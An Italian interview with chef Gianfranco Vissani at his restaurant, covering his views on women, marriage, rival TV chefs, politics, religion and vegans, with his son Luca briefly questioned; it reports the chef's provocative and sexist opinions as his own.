Secondo atto, a tavola, tra un risotto mantecato picassiano, tanti sapori diversi racchiusi in piccoli cubi da miscelare con il riso, anatra pechinese, costolette d’agnello e cannoli di crema pasticcera. Via la canotta, ora il gigante sta dentro un maglione blu. Il camino è acceso. Vista sul lago, piatti e vassoi stracolmi, frutta secca, cioccolata, distillati, sigari, rose rosse. La carezza di Frank Sinatra dai diffusori. Divani bianchi, moquette beige, tovaglie di lino bianca. Su ogni tavolo un animale diverso di cristallo, oggetti costosissimi, anche 15 mila euro, il dragone rosso, il cavallo opaco, il leone nero, l’orso, la tigre. Quadri, libri, ovunque. Lui al cellulare. “…Pensavo che ti mancassi…”, fa marpione a una delle tante. “L’importante è che stai bene…”, chiude. “È una stronza. Una mia ex….Ti rendi conto? Ho mangiato ‘sta lombatina di vitella e i broccoli senza olio e senza sale. Abolito il sale. È categorico. Né pane, né pasta, né dolci”. Si siede al mio tavolo e giura che non toccherà cibo. Dopo cinque minuti è già lì che reclama a modo suo: “Me la voi porta’ ‘sta mela!...”. Falstaffiano anche negli approcci boccacceschi alle ragazze, così espliciti da risultare innocenti. “Si vede da come cammini che stanotte non hai fatto sesso…”. Non risparmia nessuno, nemmeno il maitre o la sorella Paola, la fuoriclasse dei dolci. Si lasciano tutti stressare dall’Orco, nessuno protesta, tutti gli vogliono bene.
Ti fai sempre riconoscere. Dopo aver detto che le cinquantenni cadono a pezzi, hai scatenato un casino sostenendo che le donne non possono fare le chef.
“Troppo pesante per loro. Portare le casseruole, stare in piedi dieci ore fino a notte fonda. Mi spieghi perché le donne si mettono in pasticceria? Te lo dico io, è meno faticoso. Dico una cosa brutta, loro hanno le ovaie, sono diverse da noi”.
Tua madre era un fenomeno.
“Mamma Eleonora era un treno. Una guerriera. Cucinava a tutto spiano. Non guardava in faccia nessuno”.
Ti legava al tavolo da piccolo, ammesso che tu sia mai stato piccolo.
“Mi legava a questo tavolo di marmo. Ero molto discolo a scuola, fumavo in classe. Avevo l’argento vivo. Mi punivano con le bacchettate, mi mettevano in ginocchio sui ceci. Niente da fare”.
Che facevi di così tremendo?
“Menavo di brutto, specie quando c’era una donna di mezzo. Ero un capobanda. Un ribelle. Un leader nato”.
Sei il tipico maschio paleolitico, il tuo mondo ruota intorno alle gonnelle.
“Sembra che io sia donnaiolo, ma anche loro non scherzano. Ti fanno credere che sei tu, ma in realtà sono sempre loro”.
Come corteggia Gianfranco Vissani?
“Sono come Rodolfo Valentino. Il mio primo appuntamento sono sempre sessanta rose rosse. Corteggiare una donna è poesia. Non è l’atto che m’interessa. Poi, è lei che mi deve chiedere di fare l’amore”.
Te lo chiedono ancora?
“Sempre. Sono brutto secondo te? Guardami, ho gli occhi verdi. Piaccio più ora di quando ero giovane. Sto da solo adesso. È il mio anno sabbatico. Ma le donne tornano tutte da me, perché con me si divertono. Io penso sempre prima al loro piacere e poi al mio”.
La tua donna congeniale?
“La donna di casa. Affettuosa. Capace di essere moglie e madre. Però, noi uomini siamo un po’ porcelloni e dobbiamo stare attenti, se no prima o poi le perdiamo”.
Hai un matrimonio alle spalle.
“Sono stato stupido. Non ero pronto per andare all’altare. Mi sono sentito mancare il respiro quel giorno. Mi sono accasciato sulla macchina fuori della chiesa. E’ durato pochissimo, tre anni. Oggi la mia ex e unica moglie, Giovanna, lavora qui con noi. “Ho la mia guardiana”, mi dice Luca, mio figlio, l’unico, 42 anni”.
La vita coniugale non fa per te.
“Una donna che viene e mi dice dobbiamo fare sesso tutte le sere, le stesse sere, lo stesso sesso, io mi sento male, mi chiudo e divento un leone in gabbia. Devo uscire. Respirare aria fresca”.
Esiste o no il cibo afrodisiaco?
“Non esiste. È il gesto che è afrodisiaco, tu che ti lecchi le dita quando mangi con le mani. Un certo modo di mangiare le ostriche, se ti piacciono e non vomiti dopo. Il peperoncino? No, quello brucia e basta”.
“Casa Vissani” è il tuo tempio pagano.
“L’ho ereditato da mio padre nel 73, dopo aver fatto tanta gavetta in giro per il mondo. Sono stato il primo in Italia a mettere la cucina a vista. Eccolo arrivare…”.
Chi?
“Mio figlio Luca. E’ lui che mi ha fatto diventare un brand. Si è inventato tante cose, l’accoglienza, le sale a temi, la classica, la jazz, la rock. Piatti sempre della tradizione, ma rivalutati con creatività”.
(chiedo a Luca)  L’esuberanza di tuo padre ti crea imbarazzo?
“Quando esagera cerco di arginarlo. Lui, a livello comunicativo, sa dove toccare i tasti. E’ un talento della provocazione. Come quando dice che i vegani sono una setta e bisognerebbe ingaggiare un killer per farli fuori”.
Vissani, hai due nipoti. Che razza di nonno sei?
“Non mi devono chiamare nonno. Guai a loro se lo fanno”.
Si moltiplicano le trasmissioni di cucina.
“Non se ne può più. Sono la rovina della ristorazione. Prendi “Masterchef”, fanno sempre vedere solo il piatto finito, quello che conta è invece il procedimento. Infatti, perde ascolti”.
Rivali mediatici. Alessandro Borghese.
“Lascia perdere. Che gli vogliamo dire? Niente. Ha trovato il filone, ma lui non ha esperienza di ristorazione. Non ha niente alle spalle. Ma non lo critico, facesse quello che gli pare”.
Carlo Cracco.
“È molto bravo tecnicamente. Ma non fa più niente, ormai. E’ la pubblicità che lo fa campare, ma vale per tutti. Con la sola ristorazione non ce la fai”.
Davide Oldani.
“Lavora molto sul dolce. Il caramellato”.
Il più telegenico?
“Cannavacciuolo. Sta dappertutto”.
Ti piace?
“Preferisco Massimo Bottura. Bruno Barbieri anche è molto bravo. Gli voglio molto bene. Lo vado a trovare spesso nel suo ristorante di Bologna. Ci siamo presi subito lui e io e non m’importa che sia gay”.  
Nemici?
“Non ne ho perché sono troppo bravo nel cuore. Mi vedono sbraitare, attaccare, ma la gente sa che dico sempre la verità”.  
Joe Bastianich non è uno chef.
“È un cantautore, mi sembra…”.
Eri il cuoco di D’Alema. Oggi?
“Ho votato Salvini. Ma deve mantenere quello che ha detto, se no salta pure lui. Ma il mio amico in politica era Gianni De Michelis, un mito, uomo di rara intelligenza e grande gaudente. Ci vedevamo spesso a Roma”.
Ne “La grande abbuffata”, film geniale di Marco Ferreri, quattro uomini si suicidano mangiando fino a scoppiare. Dovessi tu suicidarti col cibo?
“Un piatto enorme di bucatini all’amatriciana. Una marea di polpette, il pollo. Coso bevo? Un rosso Caprai 25 anni”.  
Dormi bene da solo?
“Da solo sto bene. Poi, sai, anche per necessità. Dopo tanti anni diventa un problema, ti alzi la notte, vai in bagno, ti scappa magari una scoreggina. All’inizio lei non te lo dice, poi, però, ti dice tutto insieme”.
Due stelle Michelin da una vita. La  terza proprio non te la vogliono dare.
“Si vede che non ce la meritiamo”.
Sei religioso?
“Vado a messa a Pasqua, Natale e Capodanno. Posso fare un appello a Papa Francesco?”.
Fallo.
“Non guardiamo solo alle banche in Vaticano. Guardiamo alle tante persone che si spostano verso altre religioni. Ora diventano tutti buddisti, che non ti fanno mangiare la vacca o musulmani che non mangiano il maiale”.
Convinci un vegano a tornare carnivoro.
“Volete rovinare la nostra civiltà? Le nostre tradizioni? Quando vai con la macchina quanti moscerini ammazzi? Apri la bocca e li ingoi. È ciccia anche quella. Ora sono usciti i fruttariani. Mangiano solo la mela marcia a terra. Mi dici dove cazzo finiremo di questo passo?”
0 notes